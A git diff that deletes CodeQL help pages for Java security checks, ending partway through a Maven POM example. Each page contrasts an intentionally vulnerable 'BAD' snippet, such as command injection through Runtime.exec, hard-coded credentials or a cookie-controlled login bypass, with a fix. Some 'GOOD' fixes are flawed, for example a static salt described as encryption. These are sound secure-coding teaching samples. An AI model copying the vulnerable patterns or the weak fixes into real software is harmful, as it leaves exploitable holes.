'GOOD' case, the credentials are hashed before storing them. - - -```java -public static void main(String[] args) { - { - String data; - PasswordAuthentication credentials = - new PasswordAuthentication("user", "BP@ssw0rd".toCharArray()); - data = credentials.getUserName() + ":" + new String(credentials.getPassword()); - - // BAD: store data in a cookie in cleartext form - response.addCookie(new Cookie("auth", data)); - } - - { - String data; - PasswordAuthentication credentials = - new PasswordAuthentication("user", "GP@ssw0rd".toCharArray()); - String salt = "ThisIsMySalt"; - MessageDigest messageDigest = MessageDigest.getInstance("SHA-512"); - messageDigest.reset(); - String credentialsToHash = - credentials.getUserName() + ":" + credentials.getPassword(); - byte[] hashedCredsAsBytes = - messageDigest.digest((salt+credentialsToHash).getBytes("UTF-8")); - data = bytesToString(hashedCredsAsBytes); - - // GOOD: store data in a cookie in encrypted form - response.addCookie(new Cookie("auth", data)); - } -} - -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). \ No newline at end of file diff --git a/docs/language/query-help/java/CleartextStorageProperties.md b/docs/language/query-help/java/CleartextStorageProperties.md deleted file mode 100644 index 559726cc1ac..00000000000 --- a/docs/language/query-help/java/CleartextStorageProperties.md +++ /dev/null @@ -1,62 +0,0 @@ -# Cleartext storage of sensitive information using 'Properties' class - -``` -ID: java/cleartext-storage-in-properties -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-312/CleartextStorageProperties.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. It may be wise to encrypt information before it is put into a heap data structure (such as `Java.util.Properties`) that may be written to disk later. Objects that are serializable or marshallable should also always contain encrypted information unless you are certain that they are not ever going to be serialized. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are hashed before storing them. - - -```java -public static void main(String[] args) { - { - String data; - PasswordAuthentication credentials = - new PasswordAuthentication("user", "BP@ssw0rd".toCharArray()); - data = credentials.getUserName() + ":" + new String(credentials.getPassword()); - - // BAD: store data in a cookie in cleartext form - response.addCookie(new Cookie("auth", data)); - } - - { - String data; - PasswordAuthentication credentials = - new PasswordAuthentication("user", "GP@ssw0rd".toCharArray()); - String salt = "ThisIsMySalt"; - MessageDigest messageDigest = MessageDigest.getInstance("SHA-512"); - messageDigest.reset(); - String credentialsToHash = - credentials.getUserName() + ":" + credentials.getPassword(); - byte[] hashedCredsAsBytes = - messageDigest.digest((salt+credentialsToHash).getBytes("UTF-8")); - data = bytesToString(hashedCredsAsBytes); - - // GOOD: store data in a cookie in encrypted form - response.addCookie(new Cookie("auth", data)); - } -} - -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ComparisonWithWiderType.md b/docs/language/query-help/java/ComparisonWithWiderType.md deleted file mode 100644 index 64cb837f645..00000000000 --- a/docs/language/query-help/java/ComparisonWithWiderType.md +++ /dev/null @@ -1,68 +0,0 @@ -# Comparison of narrow type with wide type in loop condition - -``` -ID: java/comparison-with-wider-type -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-197 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ComparisonWithWiderType.ql) - -In a loop condition, comparison of a value of a narrow type with a value of a wide type may always evaluate to `true` if the wider value is sufficiently large (or small). This is because the narrower value may overflow. This can lead to an infinite loop. - - -## Recommendation -Change the types of the compared values so that the value on the narrower side of the comparison is at least as wide as the value it is being compared with. - - -## Example -In this example, `bytesReceived` is compared against `MAXGET` in a `while` loop. However, `bytesReceived` is a `short`, and `MAXGET` is a `long`. Because `MAXGET` is larger than `Short.MAX_VALUE`, the loop condition is always `true`, so the loop never terminates. - -This problem is avoided in the 'GOOD' case because `bytesReceived2` is a `long`, which is as wide as the type of `MAXGET`. - - -```java -class Test { - public static void main(String[] args) { - - { - int BIGNUM = Integer.MAX_VALUE; - long MAXGET = Short.MAX_VALUE + 1; - - char[] buf = new char[BIGNUM]; - - short bytesReceived = 0; - - // BAD: 'bytesReceived' is compared with a value of wider type. - // 'bytesReceived' overflows before reaching MAXGET, - // causing an infinite loop. - while (bytesReceived < MAXGET) { - bytesReceived += getFromInput(buf, bytesReceived); - } - } - - { - long bytesReceived2 = 0; - - // GOOD: 'bytesReceived2' has a type at least as wide as MAXGET. - while (bytesReceived2 < MAXGET) { - bytesReceived2 += getFromInput(buf, bytesReceived2); - } - } - - } - - public static int getFromInput(char[] buf, short pos) { - // write to buf - // ... - return 1; - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ConditionalBypass.md b/docs/language/query-help/java/ConditionalBypass.md deleted file mode 100644 index ff59143e754..00000000000 --- a/docs/language/query-help/java/ConditionalBypass.md +++ /dev/null @@ -1,54 +0,0 @@ -# User-controlled bypass of sensitive method - -``` -ID: java/user-controlled-bypass -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-807 external/cwe/cwe-290 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-807/ConditionalBypass.ql) - -Many Java constructs enable code statements to be executed conditionally, for example `if` statements and `for` statements. If these statements contain important authentication or login code, and the decision about whether to execute this code is based on user-controlled data, it may be possible for an attacker to bypass security systems by preventing this code from executing. - - -## Recommendation -Never decide whether to authenticate a user based on data that may be controlled by that user. If necessary, ensure that the data is validated extensively when it is input before any authentication checks are performed. - -It is still possible to have a system that "remembers" users, thus not requiring the user to login on every interaction. For example, personalization settings can be applied without authentication because this is not sensitive information. However, users should be allowed to take sensitive actions only when they have been fully authenticated. - - -## Example -This example shows two ways of deciding whether to authenticate a user. The first way shows a decision that is based on the value of a cookie. Cookies can be easily controlled by the user, and so this allows a user to become authenticated without providing valid credentials. The second, more secure way shows a decision that is based on looking up the user in a security database. - - -```java -public boolean doLogin(String user, String password) { - Cookie adminCookie = getCookies()[0]; - - // BAD: login is executed only if the value of 'adminCookie' is 'false', - // but 'adminCookie' is controlled by the user - if(adminCookie.getValue()=="false") - return login(user, password); - - return true; -} - -public boolean doLogin(String user, String password) { - Cookie adminCookie = getCookies()[0]; - - // GOOD: use server-side information based on the credentials to decide - // whether user has privileges - boolean isAdmin = queryDbForAdminStatus(user, password); - if(!isAdmin) - return login(user, password); - - return true; -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SEC02-J. Do not base security checks on untrusted sources](https://www.securecoding.cert.org/confluence/display/java/SEC02-J.+Do+not+base+security+checks+on+untrusted+sources). -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). -* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecRelative.md b/docs/language/query-help/java/ExecRelative.md deleted file mode 100644 index b8a5531ad37..00000000000 --- a/docs/language/query-help/java/ExecRelative.md +++ /dev/null @@ -1,41 +0,0 @@ -# Executing a command with a relative path - -``` -ID: java/relative-path-command -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecRelative.ql) - -When a command is executed with a relative path, the runtime uses the PATH environment variable to find which executable to run. Therefore, any user who can change the PATH environment variable can cause the software to run a different, malicious executable. - - -## Recommendation -In most cases, simply use a command that has an absolute path instead of a relative path. - -In some cases, the location of the executable might be different on different installations. In such cases, consider specifying the location of key executables with some form of configuration. When using this approach, be careful that the configuration system is not itself vulnerable to malicious modifications. - - -## Example - -```java -class Test { - public static void main(String[] args) { - // BAD: relative path - Runtime.getRuntime().exec("make"); - - // GOOD: absolute path - Runtime.getRuntime().exec("/usr/bin/make"); - - // GOOD: build an absolute path from known values - Runtime.getRuntime().exec(Paths.MAKE_PREFIX + "/bin/make"); - } -} -``` - -## References -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecTainted.md b/docs/language/query-help/java/ExecTainted.md deleted file mode 100644 index e6ecef3d563..00000000000 --- a/docs/language/query-help/java/ExecTainted.md +++ /dev/null @@ -1,42 +0,0 @@ -# Uncontrolled command line - -``` -ID: java/command-line-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecTainted.ql) - -Code that passes user input directly to `Runtime.exec`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `Runtime.exec` without examining it first. - - -```java -class Test { - public static void main(String[] args) { - String script = System.getenv("SCRIPTNAME"); - if (script != null) { - // BAD: The script to be executed is controlled by the user. - Runtime.getRuntime().exec(script); - } - } -} -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* The CERT Oracle Secure Coding Standard for Java: [IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method](https://www.securecoding.cert.org/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecUnescaped.md b/docs/language/query-help/java/ExecUnescaped.md deleted file mode 100644 index 835bbe6858f..00000000000 --- a/docs/language/query-help/java/ExecUnescaped.md +++ /dev/null @@ -1,51 +0,0 @@ -# Building a command line with string concatenation - -``` -ID: java/concatenated-command-line -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql) - -Code that builds a command line by concatenating strings that have been entered by a user allows the user to execute malicious code. - - -## Recommendation -Execute external commands using an array of strings rather than a single string. By using an array, many possible vulnerabilities in the formatting of the string are avoided. - - -## Example -In the following example, `latlonCoords` contains a string that has been entered by a user but not validated by the program. This allows the user to, for example, append an ampersand (&) followed by the command for a malicious program to the end of the string. The ampersand instructs Windows to execute another program. In the block marked 'BAD', `latlonCoords` is passed to `exec` as part of a concatenated string, which allows more than one command to be executed. However, in the block marked 'GOOD', `latlonCoords` is passed as part of an array, which means that `exec` treats it only as an argument. - - -```java -class Test { - public static void main(String[] args) { - // BAD: user input might include special characters such as ampersands - { - String latlonCoords = args[1]; - Runtime rt = Runtime.getRuntime(); - Process exec = rt.exec("cmd.exe /C latlon2utm.exe " + latlonCoords); - } - - // GOOD: use an array of arguments instead of executing a string - { - String latlonCoords = args[1]; - Runtime rt = Runtime.getRuntime(); - Process exec = rt.exec(new String[] { - "c:\\path\to\latlon2utm.exe", - latlonCoords }); - } - } -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* The CERT Oracle Secure Coding Standard for Java: [IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method](https://www.securecoding.cert.org/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExternallyControlledFormatString.md b/docs/language/query-help/java/ExternallyControlledFormatString.md deleted file mode 100644 index 1b75d8ef28b..00000000000 --- a/docs/language/query-help/java/ExternallyControlledFormatString.md +++ /dev/null @@ -1,66 +0,0 @@ -# Use of externally-controlled format string - -``` -ID: java/tainted-format-string -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql) - -The `String.format` method and related methods, like `PrintStream.printf` and `Formatter.format`, all accept a format string that is used to format the trailing arguments to the format call by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain extra format specifiers that cause an exception to be thrown or information to be leaked. - -The Java standard library implementation for the format methods throws an exception if either the format specifier does not match the type of the argument, or if there are too few or too many arguments. If unsanitized input is used in the format string, it may contain invalid extra format specifiers which cause an exception to be thrown. - -Positional format specifiers may be used to access an argument to the format call by position. Unsanitized input in the format string may use a positional format specifier to access information that was not intended to be visible. For example, when formatting a Calendar instance we may intend to print only the year, but a user-specified format string may include a specifier to access the month and day. - - -## Recommendation -If the argument passed as a format string is meant to be a plain string rather than a format string, then pass `%s` as the format string, and pass the original argument as the sole trailing argument. - - -## Example -The following program is meant to check a card security code for a stored credit card: - - -```java -public class ResponseSplitting extends HttpServlet { - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - Calendar expirationDate = new GregorianCalendar(2017, GregorianCalendar.SEPTEMBER, 1); - // User provided value - String cardSecurityCode = request.getParameter("cardSecurityCode"); - - if (notValid(cardSecurityCode)) { - - /* - * BAD: user provided value is included in the format string. - * A malicious user could provide an extra format specifier, which causes an - * exception to be thrown. Or they could provide a %1$tm or %1$te format specifier to - * access the month or day of the expiration date. - */ - System.out.format(cardSecurityCode + - " is not the right value. Hint: the card expires in %1$ty.", - expirationDate); - - // GOOD: %s is used to include the user-provided cardSecurityCode in the output - System.out.format("%s is not the right value. Hint: the card expires in %2$ty.", - cardSecurityCode, - expirationDate); - } - - } -} -``` -However, in the first format call it uses the cardSecurityCode provided by the user in a format string. If the user includes a format specifier in the cardSecurityCode field, they may be able to cause an exception to be thrown, or to be able to access extra information about the stored card expiration date. - -The second format call shows the correct approach. The user-provided value is passed as an argument to the format call. This prevents any format specifiers in the user provided value from being evaluated. - - -## References -* CERT Java Coding Standard: [IDS06-J. Exclude unsanitized user input from format strings](https://www.securecoding.cert.org/confluence/display/java/IDS06-J.+Exclude+unsanitized+user+input+from+format+strings). -* Java SE Documentation: [Formatting Numeric Print Output](https://docs.oracle.com/javase/tutorial/java/data/numberformat.html). -* Java API: [Formatter](https://docs.oracle.com/javase/8/docs/api/java/util/Formatter.html). -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/java/HardcodedCredentialsApiCall.md b/docs/language/query-help/java/HardcodedCredentialsApiCall.md deleted file mode 100644 index f3dc3b3e161..00000000000 --- a/docs/language/query-help/java/HardcodedCredentialsApiCall.md +++ /dev/null @@ -1,44 +0,0 @@ -# Hard-coded credential in API call - -``` -ID: java/hardcoded-credential-api-call -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql) - -Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - - -## Example -The following code example connects to a database using a hard-coded user name and password: - - -```java -private static final String p = "123456"; // hard-coded credential - -public static void main(String[] args) throws SQLException { - String url = "jdbc:mysql://localhost/test"; - String u = "admin"; // hard-coded credential - - getConn(url, u, p); -} - -public static void getConn(String url, String v, String q) throws SQLException { - DriverManager.getConnection(url, v, q); // sensitive call -} - -``` -Instead, the user name and password could be supplied through environment variables, which can be set externally without hard-coding credentials in the source code. - - -## References -* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md b/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md deleted file mode 100644 index f78677d552a..00000000000 --- a/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md +++ /dev/null @@ -1,63 +0,0 @@ -# Improper validation of user-provided size used for array construction - -``` -ID: java/improper-validation-of-array-construction -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-129 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-129/ImproperValidationOfArrayConstruction.ql) - -Using unvalidated input when specifying the size of a newly created array can result in the creation of an array with size zero. If this array is subsequently accessed without further checks, an `ArrayIndexOutOfBoundsException` may be thrown, because there is no guarantee that the array is not empty. - -This problem occurs when user input is used as the size during array initialization, either directly or following one or more calculations. If the user input is unvalidated, it may cause the size of the array to be zero. - - -## Recommendation -The size used in the array initialization should be verified to be greater than zero before being used. Alternatively, the array access may be protected by a conditional check that ensures it is only accessed if the index is less than the array size. - - -## Example -The following program constructs an array with the size specified by some user input: - - -```java -public class ImproperValidationOfArrayIndex extends HttpServlet { - - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - try { - // User provided value - int numberOfItems = Integer.parseInt(request.getParameter("numberOfItems").trim()); - - if (numberOfItems >= 0) { - /* - * BAD numberOfItems may be zero, which would cause the array indexing operation to - * throw an ArrayIndexOutOfBoundsException - */ - String items = new String[numberOfItems]; - items[0] = "Item 1"; - } - - if (numberOfItems > 0) { - /* - * GOOD numberOfItems must be greater than zero, so the indexing succeeds. - */ - String items = new String[numberOfItems]; - items[0] = "Item 1"; - } - - } catch (NumberFormatException e) { } - } -} -``` -The first array construction is protected by a condition that checks if the user input is zero or more. However, if the user provides `0` as the `numberOfItems` parameter, then an empty array is created, and any array access would fail with an `ArrayIndexOutOfBoundsException`. - -The second array construction is protected by a condition that checks if the user input is greater than zero. The array will therefore never be empty, and the following array access will not throw an `ArrayIndexOutOfBoundsException`. - - -## References -* Java API: [ArrayIndexOutOfBoundsException](https://docs.oracle.com/javase/8/docs/api/java/lang/ArrayIndexOutOfBoundsException.html). -* Common Weakness Enumeration: [CWE-129](https://cwe.mitre.org/data/definitions/129.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ImproperValidationOfArrayIndex.md b/docs/language/query-help/java/ImproperValidationOfArrayIndex.md deleted file mode 100644 index 8c3e03cb0b8..00000000000 --- a/docs/language/query-help/java/ImproperValidationOfArrayIndex.md +++ /dev/null @@ -1,64 +0,0 @@ -# Improper validation of user-provided array index - -``` -ID: java/improper-validation-of-array-index -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-129 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-129/ImproperValidationOfArrayIndex.ql) - -Using unvalidated input as part of an index into the array can cause the array access to throw an `ArrayIndexOutOfBoundsException`. This is because there is no guarantee that the index provided is within the bounds of the array. - -This problem occurs when user input is used as an array index, either directly or following one or more calculations. If the user input is unsanitized, it may be any value, which could result in either a negative index, or an index which is larger than the size of the array, either of which would result in an `ArrayIndexOutOfBoundsException`. - - -## Recommendation -The index used in the array access should be checked against the bounds of the array before being used. The index should be smaller than the array size, and it should not be negative. - - -## Example -The following program accesses an element from a fixed size constant array: - - -```java -public class ImproperValidationOfArrayIndex extends HttpServlet { - - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - String[] productDescriptions = new String[] { "Chocolate bar", "Fizzy drink" }; - - // User provided value - String productID = request.getParameter("productID"); - try { - int productID = Integer.parseInt(userProperty.trim()); - - /* - * BAD Array is accessed without checking if the user provided value is out of - * bounds. - */ - String productDescription = productDescriptions[productID]; - - if (productID >= 0 && productID < productDescriptions.length) { - // GOOD We have checked that the array index is valid first - productDescription = productDescriptions[productID]; - } else { - productDescription = "No product for that ID"; - } - - response.getWriter().write(productDescription); - - } catch (NumberFormatException e) { } - } -} -``` -The first access of the `productDescriptions` array uses the user-provided value as the index without performing any checks. If the user provides a negative value, or a value larger than the size of the array, then an `ArrayIndexOutOfBoundsException` may be thrown. - -The second access of the `productDescriptions` array is contained within a conditional expression that verifies the user-provided value is a valid index into the array. This ensures that the access operation never throws an `ArrayIndexOutOfBoundsException`. - - -## References -* Java API: [ArrayIndexOutOfBoundsException](https://docs.oracle.com/javase/8/docs/api/java/lang/ArrayIndexOutOfBoundsException.html). -* Common Weakness Enumeration: [CWE-129](https://cwe.mitre.org/data/definitions/129.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InfiniteLoop.md b/docs/language/query-help/java/InfiniteLoop.md deleted file mode 100644 index 38603c4dd6d..00000000000 --- a/docs/language/query-help/java/InfiniteLoop.md +++ /dev/null @@ -1,48 +0,0 @@ -# Loop with unreachable exit condition - -``` -ID: java/unreachable-exit-in-loop -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-835 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-835/InfiniteLoop.ql) - -Loops can contain multiple exit conditions, either directly in the loop condition or as guards around `break` or `return` statements. If an exit condition cannot be satisfied, then the code is misleading at best, and the loop might not terminate. - - -## Recommendation -When writing a loop that is intended to terminate, make sure that all the necessary exit conditions can be satisfied and that loop termination is clear. - - -## Example -The following example shows a potentially infinite loop, since the inner loop condition is constantly true. Of course, the loop may or may not be infinite depending on the behavior of `shouldBreak`, but if this was intended as the only exit condition the loop should be rewritten to make this clear. - - -```java -for (int i=0; i<10; i++) { - for (int j=0; i<10; j++) { - // do stuff - if (shouldBreak()) break; - } -} - -``` -To fix the loop the condition is corrected to check the right variable. - - -```java -for (int i=0; i<10; i++) { - for (int j=0; j<10; j++) { - // do stuff - if (shouldBreak()) break; - } -} - -``` - -## References -* Java Language Specification: [Blocks and Statements](http://docs.oracle.com/javase/specs/jls/se8/html/jls-14.html). -* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InformationLoss.md b/docs/language/query-help/java/InformationLoss.md deleted file mode 100644 index 6a8b110e398..00000000000 --- a/docs/language/query-help/java/InformationLoss.md +++ /dev/null @@ -1,33 +0,0 @@ -# Implicit narrowing conversion in compound assignment - -``` -ID: java/implicit-cast-in-compound-assignment -Kind: problem -Severity: warning -Precision: very-high -Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Arithmetic/InformationLoss.ql) - -Compound assignment statements of the form `x += y` or `x *= y` perform an implicit narrowing conversion if the type of `x` is narrower than the type of `y`. For example, `x += y` is equivalent to `x = (T)(x + y)`, where `T` is the type of `x`. This can result in information loss and numeric errors such as overflows. - - -## Recommendation -Ensure that the type of the left-hand side of the compound assignment statement is at least as wide as the type of the right-hand side. - - -## Example -If `x` is of type `short` and `y` is of type `int`, the expression `x + y` is of type `int`. However, the expression `x += y` is equivalent to `x = (short) (x + y)`. The expression `x + y` is cast to the type of the left-hand side of the assignment: `short`, possibly leading to information loss. - -To avoid implicitly narrowing the type of `x + y`, change the type of `x` to `int`. Then the types of `x` and `x + y` are both `int` and there is no need for an implicit cast. - - -## References -* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 9. Addison-Wesley, 2005. -* The Java Language Specification: [Compound Assignment Operators](http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.26.2), [Narrowing Primitive Conversion](http://docs.oracle.com/javase/specs/jls/se7/html/jls-5.html#jls-5.1.3). -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InsecureCookie.md b/docs/language/query-help/java/InsecureCookie.md deleted file mode 100644 index fcf5f9122a1..00000000000 --- a/docs/language/query-help/java/InsecureCookie.md +++ /dev/null @@ -1,46 +0,0 @@ -# Failure to use secure cookies - -``` -ID: java/insecure-cookie -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-614 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-614/InsecureCookie.ql) - -Failing to set the 'secure' flag on a cookie can cause it to be sent in cleartext. This makes it easier for an attacker to intercept. - - -## Recommendation -Always use `setSecure` to set the 'secure' flag on a cookie before adding it to an `HttpServletResponse`. - - -## Example -This example shows two ways of adding a cookie to an `HttpServletResponse`. The first way leaves out the setting of the 'secure' flag; the second way includes the setting of the flag. - - -```java -public static void test(HttpServletRequest request, HttpServletResponse response) { - { - Cookie cookie = new Cookie("secret", "fakesecret"); - - // BAD: 'secure' flag not set - response.addCookie(cookie); - } - - { - Cookie cookie = new Cookie("secret", "fakesecret"); - - // GOOD: set 'secure' flag - cookie.setSecure(true); - response.addCookie(cookie); - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). -* Java 2 Platform Enterprise Edition, v5.0, API Specifications: [Class Cookie](http://docs.oracle.com/javaee/5/api/javax/servlet/http/Cookie.html). -* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InsecureDependencyResolution.md b/docs/language/query-help/java/InsecureDependencyResolution.md deleted file mode 100644 index eb39908ba75..00000000000 --- a/docs/language/query-help/java/InsecureDependencyResolution.md +++ /dev/null @@ -1,135 +0,0 @@ -# Failure to use HTTPS or SFTP URL in Maven artifact upload/download - -``` -ID: java/maven/non-https-url -Kind: problem -Severity: error -Precision: very-high -Tags: security external/cwe/cwe-300 external/cwe/cwe-319 external/cwe/cwe-494 external/cwe/cwe-829 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-829/InsecureDependencyResolution.ql) - -Using an insecure protocol like HTTP or FTP to download your dependencies leaves your Maven build vulnerable to a [Man in the Middle (MITM)](https://en.wikipedia.org/wiki/Man-in-the-middle_attack). This can allow attackers to inject malicious code into the artifacts that you are resolving and infect build artifacts that are being produced. This can be used by attackers to perform a [Supply chain attack](https://en.wikipedia.org/wiki/Supply_chain_attack) against your project's users. - -This vulnerability has a [ CVSS v3.1 base score of 8.1/10 ](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H&version=3.1). - - -## Recommendation -Always use HTTPS or SFTP to download artifacts from artifact servers. - - -## Example -These examples show examples of locations in Maven POM files where artifact repository upload/download is configured. The first shows the use of HTTP, the second shows the use of HTTPS. - - -```xml - - - - 4.0.0 - - com.semmle - parent - 1.0 - pom - - Security Testing - An example of insecure download and upload of dependencies - - - - insecure-releases - Insecure Repository Releases - - http://insecure-repository.example - - - insecure-snapshots - Insecure Repository Snapshots - - http://insecure-repository.example - - - - - insecure - Insecure Repository - - 